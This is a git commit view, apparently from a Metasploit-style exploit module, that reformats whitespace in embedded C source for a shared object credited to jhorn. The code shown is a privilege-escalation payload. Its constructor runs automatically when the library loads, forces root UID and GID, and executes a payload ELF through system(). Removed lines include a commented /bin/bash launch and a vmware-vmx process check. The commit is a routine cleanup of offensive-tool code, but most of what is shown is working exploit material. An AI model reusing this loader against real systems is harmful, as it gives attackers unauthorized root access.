Replace tabs with spaces
parent
cf8cf564b2
commit
1bd7a0ea2a
|
@ -145,21 +145,15 @@ Original shared object code by jhorn
|
|||
extern char *program_invocation_short_name;
|
||||
|
||||
__attribute__((constructor)) void run(void) {
|
||||
//if (strcmp(program_invocation_short_name, "vmware-vmx"))
|
||||
// return;
|
||||
|
||||
uid_t ruid, euid, suid;
|
||||
if (getresuid(&ruid, &euid, &suid))
|
||||
err(1, "getresuid");
|
||||
printf("current UIDs: %d %d %d\\n", ruid, euid, suid);
|
||||
if (ruid == 0 || euid == 0 || suid == 0) {
|
||||
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
|
||||
err(1, "setresxid");
|
||||
printf("switched to root UID and GID");
|
||||
//system("/bin/bash");
|
||||
system("#{@base_dir}/#{fname}.elf");
|
||||
_exit(0);
|
||||
}
|
||||
uid_t ruid, euid, suid;
|
||||
if (getresuid(&ruid, &euid, &suid))
|
||||
err(1, "getresuid");
|
||||
if (ruid == 0 || euid == 0 || suid == 0) {
|
||||
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
|
||||
err(1, "setresxid");
|
||||
system("#{@base_dir}/#{fname}.elf");
|
||||
_exit(0);
|
||||
}
|
||||
}
|
||||
^
|
||||
vprint_status "Writing #{@base_dir}/#{fname}.c"
|
||||
|
|
Loading…
Reference in New Issue